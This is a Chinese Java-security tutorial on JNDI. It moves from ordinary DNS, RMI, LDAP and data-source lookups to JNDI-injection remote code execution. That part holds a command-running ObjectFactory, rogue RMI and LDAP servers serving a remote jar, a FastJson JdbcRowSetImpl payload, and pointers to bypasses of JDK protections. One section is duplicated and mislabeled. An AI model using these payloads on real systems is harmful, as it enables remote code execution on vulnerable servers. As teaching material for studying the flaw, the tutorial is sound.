java安全(四) JNDI

給個關注?寶兒!
給個關注?寶兒!
給個關注?寶兒!

在這里插入圖片描述

1.JNDI

JNDI(Java Naming and Directory Interface)是Java提供的Java 命名和目錄接口。通過調用JNDI的API應用程序可以定位資源和其他程序對象。JNDI是Java EE的重要部分,需要注意的是它并不只是包含了DataSource(JDBC 數據源),JNDI可訪問的現有的目錄及服務有:JDBC、LDAP、RMI、DNS、NIS、CORBA

通俗理解,使用jndi作為數據源而不是直接去連接數據庫,將數據庫交給jndi去配置管理,jndi通過數據源名稱去應用數據源訪問數據庫

Naming Service 命名服務:

命名服務將名稱和對象進行關聯,提供通過名稱找到對象的操作,例如:DNS系統將計算機名和IP地址進行關聯、文件系統將文件名和文件句柄進行關聯等等。

Directory Service 目錄服務:

目錄服務是命名服務的擴展,除了提供名稱和對象的關聯,還允許對象具有屬性。目錄服務中的對象稱之為目錄對象。目錄服務提供創建、添加、刪除目錄對象以及修改目錄對象屬性等操作。

Reference 引用:

在一些命名服務系統中,系統并不是直接將對象存儲在系統中,而是保持對象的引用。引用包含了如何訪問實際對象的信息。

2.JNDI目錄服務

訪問JNDI目錄服務時會通過預先設置好環境變量訪問對應的服務, 如果創建JNDI上下文(Context)時未指定環境變量對象,JNDI會自動搜索系統屬性(System.getProperty())、applet 參數和應用程序資源文件(jndi.properties)。

使用JNDI創建目錄服務對象代碼片段:

// 創建環境變量對象
Hashtable env = new Hashtable();// 設置JNDI初始化工廠類名
env.put(Context.INITIAL_CONTEXT_FACTORY, "類名");// 設置JNDI提供服務的URL地址
env.put(Context.PROVIDER_URL, "url");// 創建JNDI目錄服務對象
DirContext context = new InitialDirContext(env);

Context.INITIAL_CONTEXT_FACTORY(初始上下文工廠的環境屬性名稱)指的是JNDI服務處理的具體類名稱,如:DNS服務可以使用com.sun.jndi.dns.DnsContextFactory類來處理,JNDI上下文工廠類必須實現javax.naming.spi.InitialContextFactory接口,通過重寫getInitialContext方法來創建服務。

javax.naming.spi.InitialContextFactory:

package javax.naming.spi;public interface InitialContextFactory {public Context getInitialContext(Hashtable<?,?> environment) throws NamingException;}

3.JNDI-DNS解析

JNDI支持訪問DNS服務,注冊環境變量時設置JNDI服務處理的工廠類為com.sun.jndi.dns.DnsContextFactory即可。

com.sun.jndi.dns.DnsContextFactory代碼片段:

package com.sun.jndi.dns;public class DnsContextFactory implements InitialContextFactory {// 獲取處理DNS的JNDI上下文對象public Context getInitialContext(Hashtable<?, ?> var1) throws NamingException {if (var1 == null) {var1 = new Hashtable(5);}return urlToContext(getInitCtxUrl(var1), var1);}// 省去其他無關方法和變量
}

4.使用JNDI解析DNS測試:

package jndi;import javax.naming.Context;
import javax.naming.NamingException;
import javax.naming.directory.Attributes;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import java.util.Hashtable;/*** Creator: yz* Date: 2019/12/23*/
public class DNSContextFactoryTest {public static void main(String[] args) {// 創建環境變量對象Hashtable env = new Hashtable();// 設置JNDI初始化工廠類名env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory");// 設置JNDI提供服務的URL地址,這里可以設置解析的DNS服務器地址env.put(Context.PROVIDER_URL, "dns://114.114.114.114");   //114dns地址try {// 創建JNDI目錄服務對象DirContext context = new InitialDirContext(env);// 獲取DNS解析記錄測試Attributes attrs1 = context.getAttributes("baidu.com", new String[]{"A"});Attributes attrs2 = context.getAttributes("qq.com", new String[]{"A"});System.out.println(attrs1);System.out.println(attrs2);} catch (NamingException e) {e.printStackTrace();}}}

輸出:
在這里插入圖片描述
或者使用dnslog平臺解析:

env.put(Context.PROVIDER_URL, “dns://6ew8cd.dnslog.cn”);在這里插入圖片描述

5.JNDI-RMI遠程方法調用

RMI的服務處理工廠類是:com.sun.jndi.rmi.registry.RegistryContextFactory,在調用遠程的RMI方法之前需要先啟動RMI服務:com.anbai.sec.rmi.RMIServerTest,啟動完成后就可以使用JNDI連接并調用了。

使用JNDI解析調用遠程RMI方法測試:

package com.anbai.sec.jndi;import com.anbai.sec.rmi.RMITestInterface;import javax.naming.Context;
import javax.naming.NamingException;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import java.rmi.RemoteException;
import java.util.Hashtable;import static com.anbai.sec.rmi.RMIServerTest.*;/*** Creator: yz* Date: 2019/12/24*/
public class RMIRegistryContextFactoryTest {public static void main(String[] args) {String providerURL = "rmi://" + RMI_HOST + ":" + RMI_PORT;// 創建環境變量對象Hashtable env = new Hashtable();// 設置JNDI初始化工廠類名env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");// 設置JNDI提供服務的URL地址env.put(Context.PROVIDER_URL, providerURL);// 通過JNDI調用遠程RMI方法測試,等同于com.anbai.sec.rmi.RMIClientTest類的Demotry {// 創建JNDI目錄服務對象DirContext context = new InitialDirContext(env);// 通過命名服務查找遠程RMI綁定的RMITestInterface對象RMITestInterface testInterface = (RMITestInterface) context.lookup(RMI_NAME);// 調用遠程的RMITestInterface接口的test方法String result = testInterface.test();System.out.println(result);} catch (NamingException e) {e.printStackTrace();} catch (RemoteException e) {e.printStackTrace();}}}

程序執行結果:

Hello RMI~

6.JNDI-LDAP

LDAP的服務處理工廠類是:com.sun.jndi.ldap.LdapCtxFactory,連接LDAP之前需要配置好遠程的LDAP服務。

使用JNDI創建LDAP連接測試:

package com.anbai.sec.jndi;import javax.naming.Context;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import java.util.Hashtable;/*** Creator: yz* Date: 2019/12/24*/
public class LDAPFactoryTest {public static void main(String[] args) {try {// 設置用戶LDAP登陸用戶DNString userDN = "cn=Manager,dc=javaweb,dc=org";// 設置登陸用戶密碼String password = "123456";// 創建環境變量對象Hashtable<String, Object> env = new Hashtable<String, Object>();// 設置JNDI初始化工廠類名env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");// 設置JNDI提供服務的URL地址env.put(Context.PROVIDER_URL, "ldap://localhost:389");// 設置安全認證方式env.put(Context.SECURITY_AUTHENTICATION, "simple");// 設置用戶信息env.put(Context.SECURITY_PRINCIPAL, userDN);// 設置用戶密碼env.put(Context.SECURITY_CREDENTIALS, password);// 創建LDAP連接DirContext ctx = new InitialDirContext(env);// 使用ctx可以查詢或存儲數據,此處省去業務代碼ctx.close();} catch (Exception e) {e.printStackTrace();}}}

7.JNDI-DataSource

JNDI連接數據源比較特殊,Java目前不提供內置的實現方法,提供數據源服務的多是Servlet容器,這里我們以Tomcat為例學習如何在應用服務中使用JNDI查找容器提供的數據源。

Tomcat配置JNDI數據源需要手動修改Tomcat目錄/conf/context.xml文件,參考:Tomcat JNDI Datasource,這里我們在Tomcat的conf/context.xml中添加如下配置:

Resource name="jdbc/test" auth="Container" type="javax.sql.DataSource"maxTotal="100" maxIdle="30" maxWaitMillis="10000"username="root" password="root" driverClassName="com.mysql.jdbc.Driver"url="jdbc:mysql://localhost:3306/mysql"/>

然后我們需要下載好Mysql的JDBC驅動包并復制到Tomcat的lib目錄:

wget https://repo1.maven.org/maven2/mysql/mysql-connector-java/5.1.48/mysql-connector-java-5.1.48.jar -P "/data/apache-tomcat-8.5.31/lib"

配置好數據源之后我們重啟Tomcat服務就可以使用JNDI的方式獲取DataSource了。

使用JNDI獲取數據源并查詢數據庫測試:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.naming.Context" %>
<%@ page import="javax.naming.InitialContext" %>
<%@ page import="javax.sql.DataSource" %>
<%@ page import="java.sql.Connection" %>
<%@ page import="java.sql.ResultSet" %>
<%// 初始化JNDIContextContext context = new InitialContext();// 搜索Tomcat注冊的JNDI數據庫連接池對象DataSource dataSource = (DataSource) context.lookup("java:comp/env/jdbc/test");// 獲取數據庫連接Connection connection = dataSource.getConnection();// 查詢SQL語句并返回結果ResultSet rs = connection.prepareStatement("select version()").executeQuery();// 獲取數據庫查詢結果while (rs.next()) {out.println(rs.getObject(1));}rs.close();
%>

訪問tomcat-datasource-lookup.jsp輸出: 5.7.28,需要注意的是示例jsp中的Demo使用了系統的環境變量所以并不需要在創建context的時候傳入環境變量對象。Tomcat在啟動的時候會設置JNDI變量信息,處理JNDI服務的類是org.apache.naming.java.javaURLContextFactory,所以在jsp中我們可以直接創建context。

8.JNDI-協議轉換

如果JNDI在lookup時沒有指定初始化工廠名稱,會自動根據協議類型動態查找內置的工廠類然后創建處理對應的服務請求。

JNDI默認支持自動轉換的協議有:
|
RMI示例代碼片段:

// 創建JNDI目錄服務上下文
InitialContext context = new InitialContext();// 查找JNDI目錄服務綁定的對象
Object obj = context.lookup("rmi://127.0.0.1:9527/test");

示例代碼通過lookup會自動使用rmiURLContext處理RMI請求。

9.JNDI-Reference

在JNDI服務中允許使用系統以外的對象,比如在某些目錄服務中直接引用遠程的Java對象,但遵循一些安全限制。

RMI/LDAP遠程對象引

10.RMI/LDAP遠程對象引用安全限制

在RMI服務中引用遠程對象將受本地Java環境限制即本地的java.rmi.server.useCodebaseOnly配置必須為false(允許加載遠程對象),如果該值為true則禁止引用遠程對象。除此之外被引用的ObjectFactory對象還將受到com.sun.jndi.rmi.object.trustURLCodebase配置限制,如果該值為false(不信任遠程引用對象)一樣無法調用遠程的引用對象。

1.JDK 5 U45,JDK 6 U45,JDK 7u21,JDK 8u121開始java.rmi.server.useCodebaseOnly默認配置已經改為了true。
2.JDK 6u132, JDK 7u122, JDK 8u113開始com.sun.jndi.rmi.object.trustURLCodebase默認值已改為了false。

本地測試遠程對象引用可以使用如下方式允許加載遠程的引用對象:

System.setProperty("java.rmi.server.useCodebaseOnly", "false");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

或者在啟動Java程序時候指定-D參數:-Djava.rmi.server.useCodebaseOnly=false -Dcom.sun.jndi.rmi.object.trustURLCodebase=true。

LDAP在JDK 11.0.1、8u191、7u201、6u211后也將默認的com.sun.jndi.ldap.object.trustURLCodebase設置為了false。

高版本JDK可參考
https://paper.seebug.org/942/

11.使用創建惡意的ObjectFactory對象

JNDI允許通過對象工廠 (javax.naming.spi.ObjectFactory)動態加載對象實現,例如,當查找綁定在名稱空間中的打印機時,如果打印服務將打印機的名稱綁定到 Reference,則可以使用該打印機 Reference 創建一個打印機對象,從而查找的調用者可以在查找后直接在該打印機對象上操作。

對象工廠必須實現 javax.naming.spi.ObjectFactory接口并重寫getObjectInstance方法。

ReferenceObjectFactory示例代碼:

package com.anbai.sec.jndi.injection;import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;/*** 引用對象創建工廠*/
public class ReferenceObjectFactory implements ObjectFactory {/*** @param obj  包含可在創建對象時使用的位置或引用信息的對象(可能為 null)。* @param name 此對象相對于 ctx 的名稱,如果沒有指定名稱,則該參數為 null。* @param ctx  一個上下文,name 參數是相對于該上下文指定的,如果 name 相對于默認初始上下文,則該參數為 null。* @param env  創建對象時使用的環境(可能為 null)。* @return 對象工廠創建出的對象* @throws Exception 對象創建異常*/public Object getObjectInstance(Object obj, Name name, Context ctx, Hashtable<?, ?> env) throws Exception {// 在創建對象過程中插入惡意的攻擊代碼,或者直接創建一個本地命令執行的Process對象從而實現RCEreturn Runtime.getRuntime().exec("curl localhost:9000");}}

12.創建惡意的RMI服務

如果我們在RMI服務端綁定一個惡意的引用對象,RMI客戶端在獲取服務端綁定的對象時發現是一個Reference對象后檢查當前JVM是否允許加載遠程引用對象,如果允許加載且本地不存在此對象工廠類則使用URLClassLoader加載遠程的jar,并加載我們構建的惡意對象工廠(ReferenceObjectFactory)類然后調用其中的getObjectInstance方法從而觸發該方法中的惡意RCE代碼。

包含惡意攻擊的RMI服務端代碼:

package com.anbai.sec.jndi.injection;import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;/*** 引用對象創建工廠*/
public class ReferenceObjectFactory implements ObjectFactory {/*** @param obj  包含可在創建對象時使用的位置或引用信息的對象(可能為 null)。* @param name 此對象相對于 ctx 的名稱,如果沒有指定名稱,則該參數為 null。* @param ctx  一個上下文,name 參數是相對于該上下文指定的,如果 name 相對于默認初始上下文,則該參數為 null。* @param env  創建對象時使用的環境(可能為 null)。* @return 對象工廠創建出的對象* @throws Exception 對象創建異常*/public Object getObjectInstance(Object obj, Name name, Context ctx, Hashtable<?, ?> env) throws Exception {// 在創建對象過程中插入惡意的攻擊代碼,或者直接創建一個本地命令執行的Process對象從而實現RCEreturn Runtime.getRuntime().exec("curl localhost:9000");}}

13.創建惡意的RMI服務

如果我們在RMI服務端綁定一個惡意的引用對象,RMI客戶端在獲取服務端綁定的對象時發現是一個Reference對象后檢查當前JVM是否允許加載遠程引用對象,如果允許加載且本地不存在此對象工廠類則使用URLClassLoader加載遠程的jar,并加載我們構建的惡意對象工廠(ReferenceObjectFactory)類然后調用其中的getObjectInstance方法從而觸發該方法中的惡意RCE代碼。

包含惡意攻擊的RMI服務端代碼:

package com.anbai.sec.jndi.injection;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;import static com.anbai.sec.rmi.RMIServerTest.RMI_NAME;
import static com.anbai.sec.rmi.RMIServerTest.RMI_PORT;/*** Creator: yz* Date: 2019/12/25*/
public class RMIReferenceServerTest {public static void main(String[] args) {try {// 定義一個遠程的jar,jar中包含一個惡意攻擊的對象的工廠類String url = "http://p2j.cn/tools/jndi-test.jar";// 對象的工廠類名String className = "com.anbai.sec.jndi.injection.ReferenceObjectFactory";// 監聽RMI服務端口LocateRegistry.createRegistry(RMI_PORT);// 創建一個遠程的JNDI對象工廠類的引用對象Reference reference = new Reference(className, className, url);// 轉換為RMI引用對象ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);// 綁定一個惡意的Remote對象到RMI服務Naming.bind(RMI_NAME, referenceWrapper);System.out.println("RMI服務啟動成功,服務地址:" + RMI_NAME);} catch (Exception e) {e.printStackTrace();}}}

輸出:
在這里插入圖片描述
啟動完RMIReferenceServerTest后在本地監聽9000端口測試客戶端調用RMI方法后是否執行了curl localhost:9000命令。

使用nc監聽端口:

nc -vv -l 9000

RMI客戶端代碼:

package com.anbai.sec.jndi.injection;import javax.naming.InitialContext;
import javax.naming.NamingException;import static com.anbai.sec.rmi.RMIServerTest.RMI_NAME;/*** Creator: yz* Date: 2019/12/25*/
public class RMIReferenceClientTest {public static void main(String[] args) {try {
//       // 測試時如果需要允許調用RMI遠程引用對象加載請取消如下注釋
//       System.setProperty("java.rmi.server.useCodebaseOnly", "false");
//       System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");InitialContext context = new InitialContext();// 獲取RMI綁定的惡意ReferenceWrapper對象Object obj = context.lookup(RMI_NAME);System.out.println(obj);} catch (NamingException e) {e.printStackTrace();}}}

程序運行結果:
程序運行結果:

Process[pid=8634, exitValue="not exited"]

注:如果為高版本java會報錯:The object factory is untrusted. Set the system property ‘com.sun.jndi.rmi.object.trustURLCodebase’ to ‘true’.
不信任該工廠類

繞過高版本JDK的限制進行JNDI注入利用:
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

客戶端執行成功后可以在nc中看到來自客戶端的curl請求:

GET / HTTP/1.1
Host: localhost:9000
User-Agent: curl/7.64.1
Accept: */*

上面的示例演示了在JVM默認允許加載遠程RMI引用對象所帶來的RCE攻擊,但在真實的環境下由于發起RMI請求的客戶端的JDK版本大于我們的測試要求或者網絡限制等可能會導致攻擊失敗。

14.創建惡意的LDAP服務

LDAP和RMI同理,測試方法也同上。啟動LDAP服務端程序后我們會在LDAP請求中返回一個含有惡意攻擊代碼的對象工廠的遠程jar地址,客戶端會加載我們構建的惡意對象工廠(ReferenceObjectFactory)類然后調用其中的getObjectInstance方法從而觸發該方法中的惡意RCE代碼。

包含惡意攻擊的LDAP服務端代碼:

package com.anbai.sec.jndi.injection;import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;public class LDAPReferenceServerTest {// 設置LDAP服務端口public static final int SERVER_PORT = 3890;// 設置LDAP綁定的服務地址,外網測試換成0.0.0.0public static final String BIND_HOST = "127.0.0.1";// 設置一個實體名稱public static final String LDAP_ENTRY_NAME = "test";// 獲取LDAP服務地址public static String LDAP_URL = "ldap://" + BIND_HOST + ":" + SERVER_PORT + "/" + LDAP_ENTRY_NAME;// 定義一個遠程的jar,jar中包含一個惡意攻擊的對象的工廠類public static final String REMOTE_REFERENCE_JAR = "http://p2j.cn/tools/jndi-test.jar";// 設置LDAP基底DNprivate static final String LDAP_BASE = "dc=javasec,dc=org";public static void main(String[] args) {try {// 創建LDAP配置對象InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);// 設置LDAP監聽配置信息config.setListenerConfigs(new InMemoryListenerConfig("listen", InetAddress.getByName(BIND_HOST), SERVER_PORT,ServerSocketFactory.getDefault(), SocketFactory.getDefault(),(SSLSocketFactory) SSLSocketFactory.getDefault()));// 添加自定義的LDAP操作攔截器config.addInMemoryOperationInterceptor(new OperationInterceptor());// 創建LDAP服務對象InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);// 啟動服務ds.startListening();System.out.println("LDAP服務啟動成功,服務地址:" + LDAP_URL);} catch (Exception e) {e.printStackTrace();}}private static class OperationInterceptor extends InMemoryOperationInterceptor {@Overridepublic void processSearchResult(InMemoryInterceptedSearchResult result) {String base  = result.getRequest().getBaseDN();Entry  entry = new Entry(base);try {// 設置對象的工廠類名String className = "com.anbai.sec.jndi.injection.ReferenceObjectFactory";entry.addAttribute("javaClassName", className);entry.addAttribute("javaFactory", className);// 設置遠程的惡意引用對象的jar地址entry.addAttribute("javaCodeBase", REMOTE_REFERENCE_JAR);// 設置LDAP objectClassentry.addAttribute("objectClass", "javaNamingReference");result.sendSearchEntry(entry);result.setResult(new LDAPResult(0, ResultCode.SUCCESS));} catch (Exception e1) {e1.printStackTrace();}}}}

程序運行結果:

在這里插入圖片描述

LDAP客戶端代碼:

package com.anbai.sec.jndi.injection;import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;import static com.anbai.sec.jndi.injection.LDAPReferenceServerTest.LDAP_URL;/*** Creator: yz* Date: 2019/12/27*/
public class LDAPReferenceClientTest {public static void main(String[] args) {try {
//       // 測試時如果需要允許調用RMI遠程引用對象加載請取消如下注釋
//       System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");Context ctx = new InitialContext();// 獲取RMI綁定的惡意ReferenceWrapper對象Object obj = ctx.lookup(LDAP_URL);System.out.println(obj);} catch (NamingException e) {e.printStackTrace();}}}

輸出:

在這里插入圖片描述

15.FastJson 反序列化JNDI注入示例

比較典型的漏洞有FastJson的JNDI注入漏洞,FastJson在反序列化JSON對象時候會通過反射自動創建類實例且FastJson會根據傳入的JSON字段間接的調用類成員變量的setXXX方法。FastJson這個反序列化功能看似無法實現RCE,但是有人找出多個符合JNDI注入漏洞利用條件的Java類(如:com.sun.rowset.JdbcRowSetImpl)從而實現了RCE。

JdbcRowSetImpl示例:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="com.sun.rowset.JdbcRowSetImpl" %>
<%JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();jdbcRowSet.setDataSourceName(request.getParameter("url"));jdbcRowSet.setAutoCommit(true);
%>

假設我們能夠動態的創建出JdbcRowSetImpl類實例且可以間接的調用setDataSourceName和setAutoCommit方法,那么就有可能實現JNDI注入攻擊。FastJson使用JdbcRowSetImpl實現JNDI注入攻擊的大致的流程如下:

1.反射創建com.sun.rowset.JdbcRowSetImpl對象。
2.反射調用setDataSourceName方法,設置JNDI的URL。
3.反射調用setAutoCommit方法,該方法會試圖使用JNDI獲取數據源(DataSource)對象。
4.調用lookup方法去查找我們注入的URL所綁定的惡意的JNDI遠程引用對象。
5.執行惡意的類對象工廠方法實現RCE。

FastJson JdbcRowSetImpl Payload:

{"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://127.0.0.1:3890/test", "autoCommit": "true"
}

FastJson JNDI測試代碼:

package com.anbai.sec.jndi.injection;import com.alibaba.fastjson.JSON;/*** Creator: yz* Date: 2019/12/28*/
public class FastJsonRCETest {public static void main(String[] args) {
//            // 測試時如果需要允許調用RMI遠程引用對象加載請取消如下注釋
//        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");String json = "{\"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\": \"ldap://127.0.0.1:3890/test\", \"autoCommit\": \"true\" }";Object obj = JSON.parse(json);System.out.println(obj);}}

程序執行后nc會接收到本機的curl請求表明漏洞已利用成功:

GET / HTTP/1.1
Host: localhost:9000
User-Agent: curl/7.64.1
Accept: */*

補充資料
對高版本jdk的ldap的限制進行繞過

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/532546.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/532546.shtml
英文地址,請注明出處:http://en.pswp.cn/news/532546.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

二叉樹的層序遍歷和前中后序遍歷代碼 迭代/遞歸

前中后序遍歷&#xff08;DFS&#xff09; 首先我們要明確前中后序遍歷的順序&#xff1a; 前序&#xff1a;中左右中序&#xff1a;左中右后序&#xff1a;左右中 前中后序遍歷的遞歸代碼和迭代代碼分別有各自的框架&#xff0c;然后根據遍歷順序調整記錄元素的位置即可。 …

java安全(五)java反序列化

給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 1. 序列化 在調用RMI時,發現接收發送數據都是反序列化數據. 例如JSON和XML等語言,在網絡上傳遞信息,都會用到一些格式化數據,大多數處理方法中&#xff0c…

git merge和rebase的區別與選擇

git merge和rebase的區別與選擇 轉自&#xff1a;https://github.com/geeeeeeeeek/git-recipes/wiki/5.1-%E4%BB%A3%E7%A0%81%E5%90%88%E5%B9%B6%EF%BC%9AMerge%E3%80%81Rebase-%E7%9A%84%E9%80%89%E6%8B%A9#merge BY 童仲毅&#xff08;geeeeeeeeekgithub&#xff09; 這是一篇…

java安全(六)java反序列化2,ysoserial調試

給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; ysoserial 下載地址&#xff1a;https://github.com/angelwhu/ysoserial ysoserial可以讓?戶根據??選擇的利?鏈&#xff0c;?成反序列化利?數據&…

C++面試常見問題一

C面試常見問題一 轉自&#xff1a;https://oldpan.me/archives/c-interview-answer-1 原作者&#xff1a;[oldpan][https://oldpan.me/] 前言 這里收集市面上所有的關于算法和開發崗最容易遇到的關于C方面的問題&#xff0c;問題信息來自互聯網以及牛客網的C面試題目匯總。答題…

java安全(七) 反序列化3 CC利用鏈 TransformedMap版

給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 目錄圖解代碼demo涉及的接口與類&#xff1a;TransformedMapTransformerConstantTransformerInvokerTransformerChainedTransformerdome理解總結&#xff1a…

C++編譯時多態和運行時多態

C編譯時多態和運行時多態 作者&#xff1a;melonstreet 出處&#xff1a;https://www.cnblogs.com/QG-whz/p/5132745.html 本文版權歸作者和博客園共有&#xff0c;歡迎轉載&#xff0c;但未經作者同意必須保留此段聲明&#xff0c;且在文章頁面明顯位置給出原文連接&#xff0…

java安全(八)TransformedMap構造POC

給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 上一篇構造了一個了commons-collections的demo 【傳送門】 package test.org.vulhub.Ser;import org.apache.commons.collections.Transformer; import org…

Pytorch Tutorial 使用torch.autograd進行自動微分

Pytorch Tutorial 使用torch.autograd進行自動微分 本文翻譯自 PyTorch 官網教程。 原文&#xff1a;https://pytorch.org/tutorials/beginner/basics/autogradqs_tutorial.html#optional-reading-tensor-gradients-and-jacobian-products 在訓練神經網絡時&#xff0c;最常使用…

TVM:編譯深度學習模型快速上手教程

TVM&#xff1a;編譯深度學習模型快速上手教程 本文將展示如何使用 Relay python 前端構建一個神經網絡&#xff0c;并使用 TVM 為 Nvidia GPU 生成一個運行時庫。 注意我們需要再構建 TVM 時啟用了 cuda 和 llvm。 TVM支持的硬件后端總覽 在本教程中&#xff0c;我們使用 cu…

TVM:設計與架構

TVM&#xff1a;設計與架構 本文檔適用于想要了解 TVM 架構和/或積極開發項目的開發人員。頁面組織如下&#xff1a; 示例編譯流程概述了 TVM 將模型的高層描述轉換為可部署模塊所采取的步驟。要開始使用&#xff0c;請先閱讀本節。 邏輯架構組件部分描述了邏輯組件。后面的部…

遞歸+回溯

遞歸-回溯 本文參考自代碼隨想錄視頻&#xff1a; https://www.bilibili.com/video/BV1cy4y167mM https://www.bilibili.com/video/BV1ti4y1L7cv 遞歸回溯理論基礎 只要有遞歸&#xff0c;就會有回溯&#xff0c;遞歸函數的下面的部分通常就是回溯的邏輯。 回溯是純暴力的搜索…

Nvidia CUDA初級教程1 CPU體系架構綜述

Nvidia CUDA初級教程1 CPU體系架構綜述 視頻&#xff1a;https://www.bilibili.com/video/BV1kx411m7Fk?p2 講師&#xff1a;周斌 本節內容&#xff1a;了解現代CPU的架構和性能優化&#xff1a; 流水線 Pipelining分支預測 Branch Prediction超標量 Superscalar亂序執行 Out…

Nvidia CUDA初級教程2 并行程序設計概述

Nvidia CUDA初級教程2 并行程序設計概述 視頻&#xff1a;https://www.bilibili.com/video/BV1kx411m7Fk?p3 講師&#xff1a;周斌 本節內容&#xff1a; 為什么需要&#xff1f;怎么做&#xff1f;一些技術和概念 串并行計算模式 串行計算模式 常規軟件時串行的 設計運行…

Nvidia CUDA初級教程4 GPU體系架構概述

Nvidia CUDA初級教程4 GPU體系架構概述 視頻&#xff1a;https://www.bilibili.com/video/BV1kx411m7Fk?p5 講師&#xff1a;周斌 本節內容&#xff1a; 為什么需要GPU三種方法提升GPU的處理速度實際GPU的設計舉例&#xff1a; NVDIA GTX 480: FermiNVDIA GTX 680: Kepler GP…

Nvidia CUDA初級教程5 CUDA/GPU編程模型

Nvidia CUDA初級教程5 CUDA/GPU編程模型 視頻&#xff1a;https://www.bilibili.com/video/BV1kx411m7Fk?p6 講師&#xff1a;周斌 本節內容&#xff1a; CPU和GPU互動模式GPU線程組織模型&#xff08;需要不停強化&#xff09;GPU存儲模型基本的編程問題 CPU與GPU交互 各自…

Nvidia CUDA初級教程6 CUDA編程一

Nvidia CUDA初級教程6 CUDA編程一 視頻&#xff1a;https://www.bilibili.com/video/BV1kx411m7Fk?p7 講師&#xff1a;周斌 GPU架構概覽 GPU特別使用于&#xff1a; 密集計算&#xff0c;高度可并行計算圖形學 晶體管主要被用于&#xff1a; 執行計算而不是 緩存數據控制指令…

由前中后遍歷序列構建二叉樹

由前/中/后遍歷序列構建二叉樹 基礎 首先&#xff0c;我們需要知道前中后序三種深度優先遍歷二叉樹的方式的具體順序&#xff1a; 前序&#xff1a;中左右中序&#xff1a;左中右后序&#xff1a;左右中 另外&#xff0c;要知道只有中序前/后序可以唯一確定一棵二叉樹&…

手寫nms

手寫nms 計算寬高的時候加1是為什么&#xff1f; 本文總結自互聯網的多種nms實現&#xff0c;供參考&#xff0c;非博主原創&#xff0c;各原文鏈接如下&#xff0c;也建議大家動手寫一寫。 Ref&#xff1a; 淺談NMS的多種實現 目標窗口檢測算法-NMS非極大值抑制 一、fas…

目標檢測綜述

目標檢測綜述 轉自&#xff1a;https://zhuanlan.zhihu.com/p/383616728 論文參考&#xff1a;[Object Detection in 20 Years: A Survey][https://arxiv.org/abs/1905.05055] 引言 目標檢測領域發展至今已有二十余載&#xff0c;從早期的傳統方法到如今的深度學習方法&#x…